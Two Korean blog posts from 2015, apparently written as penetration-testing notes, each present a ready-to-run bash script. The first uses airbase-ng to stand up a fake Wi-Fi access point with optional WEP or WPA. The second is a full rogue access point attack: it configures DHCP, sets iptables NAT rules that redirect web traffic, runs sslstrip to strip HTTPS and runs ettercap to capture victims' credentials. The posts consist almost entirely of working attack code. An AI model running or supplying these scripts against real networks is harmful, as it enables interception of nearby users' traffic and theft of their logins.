airbase-ng 스크립트 [ Fake AP + Encryption ]

Posted by IT'GUM
2015.02.27 00:34 IT/Script

### Fake Access Point ### with encryption

### WEP / WPA / OPN ###


### arguments ###

## $1 = MAC ADDRESS

## $2 = ESSID

## $3 = channel

## $4 = monitoring interface [mon0, mon1.....]

## $5 = Encryption type [ WEP, WPA, WPA2 ]

## $6 = password


#!/bin/bash


WEP='-w'

password=$6

WPA='-w '$password' -z 2'

WPA2='-w '$password' -Z 4'

if [ $5 == WEP ]; then

airbase-ng -a $1 -e $2 -c $3 $4 $WEP $6

elif [ $5 == WPA ]; then

airbase-ng -a $1 -e $2 -c $3 $4 $WPA

elif [ $5 == WPA2 ]; then

airbase-ng -a $1 -e $2 -c $3 $4 $WPA2

else

airbase-ng -a $1 -e $2 -c $3 $4

fi


script 파일 (.sh)



# 환경 및 조건


1. DHCP 서버 구축

2. 무선 랜 인터페이스의 모니터링 모드 활성화 ( airmon-ng )

3. read 구문이 없으므로 ./filename.sh arg1 arg2 arg3... 으로 실행

4. WEP는 DHCP까지 정상작동

5. WPA, WPA2는 비밀번호 오류 즉, 겉으로만 암호화 된 것 처럼 보임 

( 어디까지나 airbase-ng 의 한계이자 내가 풀어야할 숙제 )




이 댓글을 비밀 댓글로

Rogue AP + SSLStrip 쉘스크립트 [ Fake AP, MITM 공격 ]

Posted by IT'GUM
2015.01.05 10:12 IT/Script

2015/01/05 - [모의해킹] - FAKE AP 생성과 MITM / SSL strip 공격


# 위의 글을 쉘스크립트로 만들면


#!/bin/bash


echo "authoritative;

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.1.0 netmask 255.255.255.0 {

option routers 192.168.1.1;

option subnet-mask 255.255.255.0;" > /etc/dhcpd.conf

echo "make your fake ap name (ESSID)"

read string

echo "option domain-name \"$string\";

option domain-name-servers 192.168.1.1;

range 192.168.1.2 192.168.1.240;

}" >> /etc/dhcpd.conf



echo "input your wlan device name (eg. wlan0)"

read string

airmon-ng start $string

#ifconfig $string down

echo "input ESSID again"

read string

airbase-ng -c 11 -e $string mon0 &

sleep 3

ifconfig at0 192.168.1.1 netmask 255.255.255.0

ifconfig at0 mtu 1400

route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

iptables --flush

iptables --table nat --flush

iptables --delete-chain

iptables --table nat --delete-chain

echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1

iptables -P FORWARD ACCEPT

iptables --append FORWARD --in-interface at0 -j ACCEPT

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0

service isc-dhcp-server start

sslstrip -f -p -k 10000 &

gnome-terminal -x ettercap -p -u -T -q -i at0



필요한 사용자 입력값 : 지정할 ESSID, 무선랜카드 Number (eg, wlan0, wlan1, wlan2 ...)




이 댓글을 비밀 댓글로